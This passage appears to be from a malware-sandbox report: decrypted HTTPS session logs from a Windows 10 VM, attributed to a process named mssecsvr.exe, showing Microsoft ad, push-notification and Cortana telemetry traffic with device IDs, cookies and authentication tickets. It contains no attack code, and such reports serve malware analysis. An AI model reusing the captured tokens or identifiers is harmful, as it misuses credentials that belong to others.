da8sJyEVhWFhlg0NZOklY3vbKCCRF4IxIQ1u0cDNEI4R6vpNEYahKB8we8WDXluKP8MFXpJv8eimxx0opFrohmTp76E6K4CIgw1/zhUN5w7WPZSDoV9sAXG/lQMsYUynYCQOvIdawta70usTG/DTPD1gE=&p= Cache-Control: no-cache MS-CV: rFNkBju8WEaq73AZ.0 User-Agent: WindowsShellClient/9.0.40929.0 (Windows) X-SDK-HWF: tch0,m301,m751,mA01,mT01 Host: arc.msn.com Connection: Keep-Alive
2022-07-20 07:08:52 UTC	8299	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Length: 167 Content-Type: application/json; charset=utf-8 Expires: Mon, 01 Jan 0001 00:00:00 GMT Server: Microsoft-IIS/10.0 ARC-RSP-DBG: [{"OPTOUTSTATE":"256"}] X-ARC-SIG: P3+hvwqdancQ8QzFXidqSwsRHjjGIKDRv5zFmP06PVqfyTLXds0ZxKXFdLGnok2QfMXsGCUjy2lbase+ioGytTNJoC9ovy/HwsCFerIwS6bb2h3u18dPyHIq19lJBBPhSufoiVyz8ZlzuIJYSrRPe7VOnU/GYGnSxEswT+Mw5r4t4006KsVm9JO4EbdlZZMr/veMC8yiLlcCVttrgRyV7SqufVIaJjKqyIMJq0Z8tAIQYm91Eg8Vac+w1t1X7cwvyiv54MjinhJRzlNS6j0hhXeNVk4f3+7aoftUADNeuAqzTTly/I89t9F6Et/lpoQ8Q4YpDqfEQdcBmMFeyd+2GQ== Accept-CH: UA, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform, UA-Platform-Version X-AspNet-Version: 4.0.30319 X-Powered-By: ASP.NET Strict-Transport-Security: max-age=31536000; includeSubDomains Date: Wed, 20 Jul 2022 07:08:52 GMT Connection: close
2022-07-20 07:08:52 UTC	8300	IN	Data Raw: 7b 22 62 61 74 63 68 72 73 70 22 3a 7b 22 76 65 72 22 3a 22 31 2e 30 22 2c 22 65 72 72 6f 72 73 22 3a 5b 7b 22 63 6f 64 65 22 3a 32 30 34 30 2c 22 6d 73 67 22 3a 22 44 65 6d 61 6e 64 20 73 6f 75 72 63 65 20 72 65 74 75 72 6e 73 20 65 72 72 6f 72 20 28 4e 61 6d 65 3a 20 47 4e 5f 70 73 2c 20 45 72 72 6f 72 3a 20 4e 6f 20 65 6c 69 67 69 62 6c 65 20 63 6f 6e 74 65 6e 74 2e 29 2e 22 7d 5d 2c 22 72 65 66 72 65 73 68 74 69 6d 65 22 3a 22 32 30 32 32 2d 30 37 2d 32 30 54 31 31 3a 30 38 3a 35 32 22 7d 7d Data Ascii: {"batchrsp":{"ver":"1.0","errors":[{"code":2040,"msg":"Demand source returns error (Name: GN_ps, Error: No eligible content.)."}],"refreshtime":"2022-07-20T11:08:52"}}

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
38	192.168.2.6	51952	20.199.120.85	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 07:08:57 UTC	8300	OUT	Data Raw: 43 4e 54 20 31 20 43 4f 4e 20 32 34 36 0d 0a 43 6f 6e 74 65 78 74 3a 20 34 31 39 34 30 63 62 65 33 39 33 62 31 38 37 64 0d 0a 0d 0a Data Ascii: CNT 1 CON 246Context: 41940cbe393b187d
2022-07-20 07:08:57 UTC	8300	OUT	Data Raw: 3c 63 6f 6e 6e 65 63 74 3e 3c 76 65 72 3e 32 3c 2f 76 65 72 3e 3c 61 67 65 6e 74 3e 3c 6f 73 3e 57 69 6e 64 6f 77 73 3c 2f 6f 73 3e 3c 6f 73 56 65 72 3e 31 30 2e 30 2e 30 2e 30 2e 31 37 31 33 34 3c 2f 6f 73 56 65 72 3e 3c 70 72 6f 63 3e 78 36 34 3c 2f 70 72 6f 63 3e 3c 6c 63 69 64 3e 65 6e 2d 55 53 3c 2f 6c 63 69 64 3e 3c 67 65 6f 49 64 3e 32 34 34 3c 2f 67 65 6f 49 64 3e 3c 61 6f 61 63 3e 30 3c 2f 61 6f 61 63 3e 3c 64 65 76 69 63 65 54 79 70 65 3e 31 3c 2f 64 65 76 69 63 65 54 79 70 65 3e 3c 64 65 76 69 63 65 4e 61 6d 65 3e 56 4d 77 61 72 65 37 2c 31 3c 2f 64 65 76 69 63 65 4e 61 6d 65 3e 3c 2f 61 67 65 6e 74 3e 3c 2f 63 6f 6e 6e 65 63 74 3e Data Ascii: <connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.17134</osVer><proc>x64</proc><lcid>en-US</lcid><geoId>244</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>VMware7,1</deviceName></agent></connect>
2022-07-20 07:08:57 UTC	8300	OUT	Data Raw: 41 54 48 20 32 20 43 4f 4e 5c 44 45 56 49 43 45 20 31 30 31 34 0d 0a 43 6f 6e 74 65 78 74 3a 20 34 31 39 34 30 63 62 65 33 39 33 62 31 38 37 64 0d 0a 0d 0a 3c 64 65 76 69 63 65 3e 3c 63 6f 6d 70 61 63 74 2d 74 69 63 6b 65 74 3e 74 3d 45 77 43 6f 41 75 70 49 42 41 41 55 31 62 44 47 66 64 61 7a 69 44 66 58 70 6a 4e 35 4e 36 63 59 68 54 31 77 62 6d 51 41 41 54 67 62 38 6d 63 76 6f 59 71 2f 77 30 68 4c 32 35 4f 78 42 6b 6f 76 76 4b 55 6f 31 62 2f 59 4e 70 33 56 41 6f 66 65 41 70 6b 34 79 4d 55 44 70 75 65 52 32 34 4a 77 42 68 31 64 56 55 6a 50 48 42 38 6b 63 69 30 61 6a 74 78 41 73 4a 6f 46 6e 68 66 72 58 68 4e 4a 34 66 51 46 61 71 39 66 4b 50 49 73 38 58 37 31 4d 6d 4e 45 68 57 42 4d 41 2b 4c 43 75 4b 66 49 68 7a 65 52 39 58 73 44 32 47 2b 6f 34 53 4e 79 54 Data Ascii: ATH 2 CON\DEVICE 1014Context: 41940cbe393b187d<device><compact-ticket>t=EwCoAupIBAAU1bDGfdaziDfXpjN5N6cYhT1wbmQAATgb8mcvoYq/w0hL25OxBkovvKUo1b/YNp3VAofeApk4yMUDpueR24JwBh1dVUjPHB8kci0ajtxAsJoFnhfrXhNJ4fQFaq9fKPIs8X71MmNEhWBMA+LCuKfIhzeR9XsD2G+o4SNyT
2022-07-20 07:08:57 UTC	8301	OUT	Data Raw: 42 4e 44 20 33 20 43 4f 4e 5c 57 4e 53 20 31 30 34 34 34 37 38 20 31 37 30 0d 0a 43 6f 6e 74 65 78 74 3a 20 34 31 39 34 30 63 62 65 33 39 33 62 31 38 37 64 0d 0a 0d 0a 3c 77 6e 73 3e 3c 76 65 72 3e 31 3c 2f 76 65 72 3e 3c 63 6c 69 65 6e 74 3e 3c 6e 61 6d 65 3e 57 50 4e 3c 2f 6e 61 6d 65 3e 3c 76 65 72 3e 31 2e 30 3c 2f 76 65 72 3e 3c 2f 63 6c 69 65 6e 74 3e 3c 6f 70 74 69 6f 6e 73 3e 3c 70 77 72 6d 6f 64 65 20 6d 6f 64 65 3d 22 30 22 3e 3c 2f 70 77 72 6d 6f 64 65 3e 3c 2f 6f 70 74 69 6f 6e 73 3e 3c 6c 61 73 74 4d 73 67 49 64 3e 30 3c 2f 6c 61 73 74 4d 73 67 49 64 3e 3c 2f 77 6e 73 3e Data Ascii: BND 3 CON\WNS 1044478 170Context: 41940cbe393b187d<wns><ver>1</ver><client><name>WPN</name><ver>1.0</ver></client><options><pwrmode mode="0"></pwrmode></options><lastMsgId>0</lastMsgId></wns>
2022-07-20 07:08:57 UTC	8301	IN	Data Raw: 32 30 32 20 31 20 43 4f 4e 20 35 38 0d 0a Data Ascii: 202 1 CON 58
2022-07-20 07:08:57 UTC	8301	IN	Data Raw: 4d 53 2d 43 56 3a 20 53 62 69 68 66 38 4a 42 32 45 36 6c 52 38 66 79 42 4f 4c 66 6d 77 2e 30 0d 0a 0d 0a 50 61 79 6c 6f 61 64 20 70 61 72 73 69 6e 67 20 66 61 69 6c 65 64 2e Data Ascii: MS-CV: Sbihf8JB2E6lR8fyBOLfmw.0Payload parsing failed.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
39	192.168.2.6	52054	20.199.120.85	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 07:09:01 UTC	8301	OUT	Data Raw: 43 4e 54 20 31 20 43 4f 4e 20 32 34 36 0d 0a 43 6f 6e 74 65 78 74 3a 20 65 61 61 35 31 33 33 38 66 33 65 36 30 31 34 30 0d 0a 0d 0a Data Ascii: CNT 1 CON 246Context: eaa51338f3e60140
2022-07-20 07:09:01 UTC	8301	OUT	Data Raw: 3c 63 6f 6e 6e 65 63 74 3e 3c 76 65 72 3e 32 3c 2f 76 65 72 3e 3c 61 67 65 6e 74 3e 3c 6f 73 3e 57 69 6e 64 6f 77 73 3c 2f 6f 73 3e 3c 6f 73 56 65 72 3e 31 30 2e 30 2e 30 2e 30 2e 31 37 31 33 34 3c 2f 6f 73 56 65 72 3e 3c 70 72 6f 63 3e 78 36 34 3c 2f 70 72 6f 63 3e 3c 6c 63 69 64 3e 65 6e 2d 55 53 3c 2f 6c 63 69 64 3e 3c 67 65 6f 49 64 3e 32 34 34 3c 2f 67 65 6f 49 64 3e 3c 61 6f 61 63 3e 30 3c 2f 61 6f 61 63 3e 3c 64 65 76 69 63 65 54 79 70 65 3e 31 3c 2f 64 65 76 69 63 65 54 79 70 65 3e 3c 64 65 76 69 63 65 4e 61 6d 65 3e 56 4d 77 61 72 65 37 2c 31 3c 2f 64 65 76 69 63 65 4e 61 6d 65 3e 3c 2f 61 67 65 6e 74 3e 3c 2f 63 6f 6e 6e 65 63 74 3e Data Ascii: <connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.17134</osVer><proc>x64</proc><lcid>en-US</lcid><geoId>244</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>VMware7,1</deviceName></agent></connect>
2022-07-20 07:09:01 UTC	8302	OUT	Data Raw: 41 54 48 20 32 20 43 4f 4e 5c 44 45 56 49 43 45 20 31 30 31 34 0d 0a 43 6f 6e 74 65 78 74 3a 20 65 61 61 35 31 33 33 38 66 33 65 36 30 31 34 30 0d 0a 0d 0a 3c 64 65 76 69 63 65 3e 3c 63 6f 6d 70 61 63 74 2d 74 69 63 6b 65 74 3e 74 3d 45 77 43 6f 41 75 70 49 42 41 41 55 31 62 44 47 66 64 61 7a 69 44 66 58 70 6a 4e 35 4e 36 63 59 68 54 31 77 62 6d 51 41 41 54 67 62 38 6d 63 76 6f 59 71 2f 77 30 68 4c 32 35 4f 78 42 6b 6f 76 76 4b 55 6f 31 62 2f 59 4e 70 33 56 41 6f 66 65 41 70 6b 34 79 4d 55 44 70 75 65 52 32 34 4a 77 42 68 31 64 56 55 6a 50 48 42 38 6b 63 69 30 61 6a 74 78 41 73 4a 6f 46 6e 68 66 72 58 68 4e 4a 34 66 51 46 61 71 39 66 4b 50 49 73 38 58 37 31 4d 6d 4e 45 68 57 42 4d 41 2b 4c 43 75 4b 66 49 68 7a 65 52 39 58 73 44 32 47 2b 6f 34 53 4e 79 54 Data Ascii: ATH 2 CON\DEVICE 1014Context: eaa51338f3e60140<device><compact-ticket>t=EwCoAupIBAAU1bDGfdaziDfXpjN5N6cYhT1wbmQAATgb8mcvoYq/w0hL25OxBkovvKUo1b/YNp3VAofeApk4yMUDpueR24JwBh1dVUjPHB8kci0ajtxAsJoFnhfrXhNJ4fQFaq9fKPIs8X71MmNEhWBMA+LCuKfIhzeR9XsD2G+o4SNyT
2022-07-20 07:09:01 UTC	8303	OUT	Data Raw: 42 4e 44 20 33 20 43 4f 4e 5c 51 4f 53 20 32 39 0d 0a 43 6f 6e 74 65 78 74 3a 20 65 61 61 35 31 33 33 38 66 33 65 36 30 31 34 30 0d 0a 0d 0a Data Ascii: BND 3 CON\QOS 29Context: eaa51338f3e60140
2022-07-20 07:09:01 UTC	8303	IN	Data Raw: 32 30 32 20 31 20 43 4f 4e 20 35 38 0d 0a Data Ascii: 202 1 CON 58
2022-07-20 07:09:01 UTC	8303	IN	Data Raw: 4d 53 2d 43 56 3a 20 69 32 6d 33 4e 7a 61 38 35 30 43 62 59 49 56 70 57 48 48 49 4c 67 2e 30 0d 0a 0d 0a 50 61 79 6c 6f 61 64 20 70 61 72 73 69 6e 67 20 66 61 69 6c 65 64 2e Data Ascii: MS-CV: i2m3Nza850CbYIVpWHHILg.0Payload parsing failed.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
4	192.168.2.6	49820	131.253.33.200	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 07:07:27 UTC	58	OUT	POST /threshold/xls.aspx HTTP/1.1 Origin: https://www.bing.com Referer: https://www.bing.com/AS/API/WindowsCortanaPane/V2/Init Content-type: text/xml X-MSEdge-ExternalExpType: JointCoord X-MSEdge-ExternalExp: d-thshld39,d-thshld42,d-thshld77,d-thshld78,d-thshldspcl40 X-PositionerType: Desktop X-Search-CortanaAvailableCapabilities: CortanaExperience,SpeechLanguage X-Search-SafeSearch: Moderate X-Device-MachineId: {A2AB526A-D38D-4FC9-8BA0-E34B8D6354E8} X-UserAgeClass: Unknown X-BM-Market: US X-BM-DateFormat: M/d/yyyy X-CortanaAccessAboveLock: false X-Device-OSSKU: 48 X-BM-DTZ: -480 X-BM-FirstEnabledTime: 132061387448759736 X-DeviceID: 0100748C09001CEA X-BM-DeviceScale: 100 X-Search-TimeZone: Bias=480; StandardBias=0; TimeZoneKeyName=Pacific Standard Time X-BM-Theme: 000000;0078d7 X-BM-DeviceDimensionsLogical: 1232x1024 X-BM-DeviceDimensions: 1232x1024 X-Search-RPSToken: t%3DEwDYAkR8BAAUcvamItSE/vUHpyZRp3BeyOJPQDsAARa1E%2BxM1GZ4gn6pDn3APGPBd2d5h0M0t8vWgduHknAF4CuVF8BdGFEsNfwEKsAarX8Z7bQ64h6dhmJf04baM2e/Pda5Ys1YIWudUaLf1Q22V8bLB9ZL9tCDNH5gAX8oIHkiPRSLDvLze6jHTN38Xp7L6LMfWC2cG7Jq%2BuBqn1BLvyw0WWIDCEFVIEpRnBbRocBqEr%2BYZei%2BUP0L4dKx6isIE/BiAJA/MU7M0Y2cmOYjolXfCG/CSm01r9UCtGdwuViQd5AEsTONQ5SxZ8e8JbBit83IdjrCKhCi7kSfk/8o5bzZEi%2BQWR6efIUSnL4eY0Obw1BSbET5Vq1jCBcTD2cDZgAACO/loQylKFkHqAFGQyVfBEpS7RL6iwJW51mrzWZVi3Z5zMfZe8hhsgqodsWOn1HUS65JIXdUTF3HqbN3oDgdsnOzBr097uz9iIgqXWaPh3kx9CyUZ84h6yQ9Iauh10fV2e88qmzGrtZ0LP/aABK3GmiitF9NbAnQDCQGXVLTyHZ8AXwkiJAU0FABFw/Hc2khswrjSGSIAn9ykP8Kb72G2jXPPOjnYYvlY1afbpGjcvtSG/j6lxojtzFE7/Yi39SFLN7j9fElE0/A/XV55Ol3Dj7aO5GnKwDXyIiPHMHP3O%2BEIsCx4q2i8icZHtE0YXelO9Zs63Ak/5vdpE0MBdIW69pboYmhwvSr94SGj0OkpjGJRkz33tcqbi12mtFkRRg3V3Z38HgVpACRJBYhpdHi62DmUG%2Bru/4ALiiP9RILmJ1yN5rEGY0zDa7IzdcCTpym56Yb/OJ2c1CZxrOK6MzGVMWJ3iolVqEB7XY9gu56Qa4AYAOcmDEMo/4XcOycuyKs5%2Bzwi2%2BQPzyQ4%2BsfOvDqAHgm%2BQLlhucHFzwOYegTle6meyPEPtOmwOZEKuDrcHb79X7u1AE%3D%26p%3D X-Agent-DeviceId: 0100748C09001CEA X-BM-CBT: 1646756769 X-Device-isOptin: true X-Device-Touch: false X-Device-ClientSession: 7F5B29081F5049808846537278FF1D4A X-Search-AppId: Microsoft.Windows.Cortana_cw5n1h2txyewy!CortanaUI X-BM-ClientFeatures: pbitcpdisabled,AmbientWidescreen,rs1musicprod,CortanaSPAXamlHeader Accept: / Accept-Language: en-US Accept-Encoding: gzip, deflate, br User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Cortana 1.10.7.17134; 10.0.0.0.17134.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36 Edge/17.17134 Host: www.bing.com Content-Length: 81571 Connection: Keep-Alive Cache-Control: no-cache Cookie: MUID=54AD14FB4D1E4A6C815A867991009454; _SS=CPID=1658333216075&AC=1&CPH=4ef661f2
2022-07-20 07:07:27 UTC	61	OUT	Data Raw: 3c 43 6c 69 65 6e 74 49 6e 73 74 52 65 71 75 65 73 74 3e 3c 43 49 44 3e 31 34 44 35 41 36 39 41 42 45 46 46 36 39 36 32 30 31 34 35 41 44 30 35 42 46 43 37 36 38 35 38 3c 2f 43 49 44 3e 3c 45 76 65 6e 74 73 3e 3c 45 3e 3c 54 3e 45 76 65 6e 74 2e 43 6c 69 65 6e 74 49 6e 73 74 3c 2f 54 3e 3c 49 47 3e 43 30 34 30 39 45 38 34 43 37 45 43 34 44 31 36 41 32 43 44 44 41 34 38 30 35 45 32 44 33 43 34 3c 2f 49 47 3e 3c 44 3e 3c 21 5b 43 44 41 54 41 5b 7b 22 43 75 72 55 72 6c 22 3a 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 62 69 6e 67 2e 63 6f 6d 2f 41 53 2f 41 50 49 2f 57 69 6e 64 6f 77 73 43 6f 72 74 61 6e 61 50 61 6e 65 2f 56 32 2f 49 6e 69 74 22 2c 22 50 69 76 6f 74 22 3a 22 51 46 22 2c 22 43 46 22 3a 22 70 62 69 74 63 70 64 69 73 61 62 6c 65 64 2c 41 6d 62 69 65 Data Ascii: <ClientInstRequest><CID>14D5A69ABEFF69620145AD05BFC76858</CID><Events><E><T>Event.ClientInst</T><IG>C0409E84C7EC4D16A2CDDA4805E2D3C4</IG><D><![CDATA[{"CurUrl":"https://www.bing.com/AS/API/WindowsCortanaPane/V2/Init","Pivot":"QF","CF":"pbitcpdisabled,Ambie
2022-07-20 07:07:27 UTC	77	OUT	Data Raw: 7d 5d 5d 3e 3c 2f 44 3e 3c 54 53 3e 31 35 36 31 36 36 35 32 33 30 36 33 32 3c 2f 54 53 3e 3c 2f 45 3e 3c 45 3e 3c 54 3e 45 76 65 6e 74 2e 43 6c 69 65 6e 74 49 6e 73 74 3c 2f 54 3e 3c 49 47 3e 39 35 30 38 61 31 34 61 30 37 65 35 34 33 34 62 38 32 66 39 39 31 34 37 31 63 61 36 61 65 34 31 3c 2f 49 47 3e 3c 44 3e 3c 21 5b 43 44 41 54 41 5b 7b 22 43 75 72 55 72 6c 22 3a 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 62 69 6e 67 2e 63 6f 6d 2f 41 53 2f 41 50 49 2f 57 69 6e 64 6f 77 73 43 6f 72 74 61 6e 61 50 61 6e 65 2f 56 32 2f 49 6e 69 74 22 2c 22 50 69 76 6f 74 22 3a 22 51 46 22 2c 22 43 46 22 3a 22 70 62 69 74 63 70 64 69 73 61 62 6c 65 64 2c 41 6d 62 69 65 6e 74 57 69 64 65 73 63 72 65 65 6e 2c 72 73 31 6d 75 73 69 63 70 72 6f 64 2c 43 6f 72 74 61 6e 61 53 50 41 Data Ascii: }...</D><TS>1561665230632</TS></E><E><T>Event.ClientInst</T><IG>9508a14a07e5434b82f991471ca6ae41</IG><D><![CDATA[{"CurUrl":"https://www.bing.com/AS/API/WindowsCortanaPane/V2/Init","Pivot":"QF","CF":"pbitcpdisabled,AmbientWidescreen,rs1musicprod,CortanaSPA
2022-07-20 07:07:27 UTC	93	OUT	Data Raw: 22 4b 22 3a 22 64 78 69 6f 2b 34 37 77 2b 38 32 66 2b 74 68 72 65 73 68 6f 6c 64 25 32 46 78 6c 73 2e 61 73 70 78 2b 78 6d 6c 68 74 74 70 72 65 71 75 65 73 74 2b 31 64 66 65 2b 31 68 61 30 2b 31 68 61 69 2b 31 6c 34 77 2b 64 78 30 30 2b 64 78 30 31 22 2c 22 46 22 3a 30 7d 2c 22 56 22 3a 22 64 77 78 66 2f 2f 2f 2f 2f 2f 2f 2f 2f 68 69 64 64 65 6e 2f 76 69 73 69 62 69 6c 69 74 79 63 68 61 6e 67 65 22 2c 22 4c 22 3a 22 40 34 2f 30 2f 2f 2f 30 2f 30 2f 31 2f 2f 2f 52 2f 2b 40 34 2f 33 2f 2f 2f 30 2f 30 2f 31 2f 31 67 2f 2f 52 2f 22 2c 22 4e 22 3a 22 40 35 2f 78 2f 2f 40 30 2f 40 37 2f 40 38 2f 33 75 69 2f 40 31 2f 40 35 2f 2d 31 2f 40 35 2f 40 36 2f 40 36 2f 40 36 2b 31 64 66 64 2f 79 2f 2f 40 30 2f 40 37 2f 40 38 2f 33 75 6e 2f 40 31 2f 40 39 2f 2d 31 2f 40 Data Ascii: "K":"dxio+47w+82f+threshold%2Fxls.aspx+xmlhttprequest+1dfe+1ha0+1hai+1l4w+dx00+dx01","F":0},"V":"dwxf/////////hidden/visibilitychange","L":"@4/0///0/0/1///R/+@4/3///0/0/1/1g//R/","N":"@5/x//@0/@7/@8/3ui/@1/@5/-1/@5/@6/@6/@6+1dfd/y//@0/@7/@8/3un/@1/@9/-1/@
2022-07-20 07:07:27 UTC	109	OUT	Data Raw: 53 75 67 67 65 73 74 25 32 35 32 30 57 31 30 25 32 34 56 69 65 77 4d 6f 64 65 6c 73 25 32 34 57 53 42 52 6f 6f 74 56 69 65 77 4d 6f 64 65 6c 2f 40 33 2f 31 2f 40 31 2f 32 77 2f 2d 31 2f 32 77 2f 32 78 2f 32 78 2f 32 78 2b 32 78 2f 67 2f 2f 40 30 2f 41 75 74 6f 53 75 67 67 65 73 74 25 32 35 32 30 57 31 30 25 32 34 41 67 67 72 65 67 61 74 6f 72 73 25 32 34 46 61 73 74 52 61 6e 6b 4d 6f 64 65 6c 5f 50 52 4f 44 2f 40 33 2f 6a 2f 40 31 2f 32 78 2f 2d 31 2f 32 78 2f 33 67 2f 33 67 2f 33 67 2b 32 78 2f 68 2f 2f 40 30 2f 41 75 74 6f 53 75 67 67 65 73 74 25 32 35 32 30 57 31 30 25 32 34 41 67 67 72 65 67 61 74 6f 72 73 25 32 34 46 61 6c 6c 62 61 63 6b 43 6c 61 73 73 69 66 69 65 72 5f 50 52 4f 44 2f 40 33 2f 30 2f 40 31 2f 32 78 2f 2d 31 2f 32 78 2f 32 79 2f 32 79 Data Ascii: Suggest%2520W10%24ViewModels%24WSBRootViewModel/@3/1/@1/2w/-1/2w/2x/2x/2x+2x/g//@0/AutoSuggest%2520W10%24Aggregators%24FastRankModel_PROD/@3/j/@1/2x/-1/2x/3g/3g/3g+2x/h//@0/AutoSuggest%2520W10%24Aggregators%24FallbackClassifier_PROD/@3/0/@1/2x/-1/2x/2y/2y
2022-07-20 07:07:27 UTC	124	OUT	Data Raw: 22 2c 22 53 63 65 6e 61 72 69 6f 22 3a 22 4e 6f 6e 53 75 67 67 65 73 74 69 6f 6e 73 22 2c 22 53 43 22 3a 31 2c 22 44 53 22 3a 5b 7b 22 54 22 3a 22 44 2e 55 72 6c 22 2c 22 4b 22 3a 31 31 34 2c 22 51 22 3a 22 64 65 66 61 75 22 2c 22 56 61 6c 22 3a 22 53 57 22 2c 22 48 6f 22 3a 30 2c 22 47 72 22 3a 31 31 2c 22 4e 52 22 3a 31 2c 22 52 61 6e 6b 65 72 53 69 67 6e 61 6c 73 22 3a 7b 22 72 61 6e 6b 69 6e 67 53 63 6f 72 65 22 3a 2d 31 31 2e 34 34 32 33 36 2c 22 66 65 61 74 75 72 65 53 74 6f 72 65 22 3a 7b 22 34 22 3a 31 2c 22 31 30 22 3a 35 2c 22 31 39 22 3a 31 2c 22 32 35 22 3a 31 2c 22 34 32 22 3a 31 2c 22 35 39 22 3a 31 2c 22 31 33 33 22 3a 31 2c 22 31 33 36 22 3a 31 2c 22 31 33 37 22 3a 35 2c 22 32 36 34 22 3a 31 2c 22 32 39 36 22 3a 31 7d 7d 7d 5d 7d 5d 5d 5d Data Ascii: ","Scenario":"NonSuggestions","SC":1,"DS":[{"T":"D.Url","K":114,"Q":"defau","Val":"SW","Ho":0,"Gr":11,"NR":1,"RankerSignals":{"rankingScore":-11.44236,"featureStore":{"4":1,"10":5,"19":1,"25":1,"42":1,"59":1,"133":1,"136":1,"137":5,"264":1,"296":1}}}]}]]]
2022-07-20 07:07:27 UTC	140	IN	HTTP/1.1 204 No Content Access-Control-Allow-Origin: * X-Cache: CONFIG_NOCACHE Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version X-MSEdge-Ref: Ref A: F21830765B304DB49A7839B4522A9C4E Ref B: VIEEDGE2608 Ref C: 2022-07-20T07:07:27Z Date: Wed, 20 Jul 2022 07:07:27 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
40	192.168.2.6	53010	20.199.120.85	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 07:09:22 UTC	8303	OUT	Data Raw: 43 4e 54 20 31 20 43 4f 4e 20 32 34 36 0d 0a 43 6f 6e 74 65 78 74 3a 20 33 64 35 32 66 31 31 37 31 30 63 36 32 34 31 64 0d 0a 0d 0a Data Ascii: CNT 1 CON 246Context: 3d52f11710c6241d
2022-07-20 07:09:22 UTC	8303	OUT	Data Raw: 3c 63 6f 6e 6e 65 63 74 3e 3c 76 65 72 3e 32 3c 2f 76 65 72 3e 3c 61 67 65 6e 74 3e 3c 6f 73 3e 57 69 6e 64 6f 77 73 3c 2f 6f 73 3e 3c 6f 73 56 65 72 3e 31 30 2e 30 2e 30 2e 30 2e 31 37 31 33 34 3c 2f 6f 73 56 65 72 3e 3c 70 72 6f 63 3e 78 36 34 3c 2f 70 72 6f 63 3e 3c 6c 63 69 64 3e 65 6e 2d 55 53 3c 2f 6c 63 69 64 3e 3c 67 65 6f 49 64 3e 32 34 34 3c 2f 67 65 6f 49 64 3e 3c 61 6f 61 63 3e 30 3c 2f 61 6f 61 63 3e 3c 64 65 76 69 63 65 54 79 70 65 3e 31 3c 2f 64 65 76 69 63 65 54 79 70 65 3e 3c 64 65 76 69 63 65 4e 61 6d 65 3e 56 4d 77 61 72 65 37 2c 31 3c 2f 64 65 76 69 63 65 4e 61 6d 65 3e 3c 2f 61 67 65 6e 74 3e 3c 2f 63 6f 6e 6e 65 63 74 3e Data Ascii: <connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.17134</osVer><proc>x64</proc><lcid>en-US</lcid><geoId>244</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>VMware7,1</deviceName></agent></connect>
2022-07-20 07:09:22 UTC	8303	OUT	Data Raw: 41 54 48 20 32 20 43 4f 4e 5c 44 45 56 49 43 45 20 31 30 31 34 0d 0a 43 6f 6e 74 65 78 74 3a 20 33 64 35 32 66 31 31 37 31 30 63 36 32 34 31 64 0d 0a 0d 0a 3c 64 65 76 69 63 65 3e 3c 63 6f 6d 70 61 63 74 2d 74 69 63 6b 65 74 3e 74 3d 45 77 43 6f 41 75 70 49 42 41 41 55 31 62 44 47 66 64 61 7a 69 44 66 58 70 6a 4e 35 4e 36 63 59 68 54 31 77 62 6d 51 41 41 54 67 62 38 6d 63 76 6f 59 71 2f 77 30 68 4c 32 35 4f 78 42 6b 6f 76 76 4b 55 6f 31 62 2f 59 4e 70 33 56 41 6f 66 65 41 70 6b 34 79 4d 55 44 70 75 65 52 32 34 4a 77 42 68 31 64 56 55 6a 50 48 42 38 6b 63 69 30 61 6a 74 78 41 73 4a 6f 46 6e 68 66 72 58 68 4e 4a 34 66 51 46 61 71 39 66 4b 50 49 73 38 58 37 31 4d 6d 4e 45 68 57 42 4d 41 2b 4c 43 75 4b 66 49 68 7a 65 52 39 58 73 44 32 47 2b 6f 34 53 4e 79 54 Data Ascii: ATH 2 CON\DEVICE 1014Context: 3d52f11710c6241d<device><compact-ticket>t=EwCoAupIBAAU1bDGfdaziDfXpjN5N6cYhT1wbmQAATgb8mcvoYq/w0hL25OxBkovvKUo1b/YNp3VAofeApk4yMUDpueR24JwBh1dVUjPHB8kci0ajtxAsJoFnhfrXhNJ4fQFaq9fKPIs8X71MmNEhWBMA+LCuKfIhzeR9XsD2G+o4SNyT
2022-07-20 07:09:22 UTC	8304	OUT	Data Raw: 42 4e 44 20 33 20 43 4f 4e 5c 57 4e 53 20 31 30 34 34 34 37 38 20 31 37 30 0d 0a 43 6f 6e 74 65 78 74 3a 20 33 64 35 32 66 31 31 37 31 30 63 36 32 34 31 64 0d 0a 0d 0a 3c 77 6e 73 3e 3c 76 65 72 3e 31 3c 2f 76 65 72 3e 3c 63 6c 69 65 6e 74 3e 3c 6e 61 6d 65 3e 57 50 4e 3c 2f 6e 61 6d 65 3e 3c 76 65 72 3e 31 2e 30 3c 2f 76 65 72 3e 3c 2f 63 6c 69 65 6e 74 3e 3c 6f 70 74 69 6f 6e 73 3e 3c 70 77 72 6d 6f 64 65 20 6d 6f 64 65 3d 22 30 22 3e 3c 2f 70 77 72 6d 6f 64 65 3e 3c 2f 6f 70 74 69 6f 6e 73 3e 3c 6c 61 73 74 4d 73 67 49 64 3e 30 3c 2f 6c 61 73 74 4d 73 67 49 64 3e 3c 2f 77 6e 73 3e Data Ascii: BND 3 CON\WNS 1044478 170Context: 3d52f11710c6241d<wns><ver>1</ver><client><name>WPN</name><ver>1.0</ver></client><options><pwrmode mode="0"></pwrmode></options><lastMsgId>0</lastMsgId></wns>
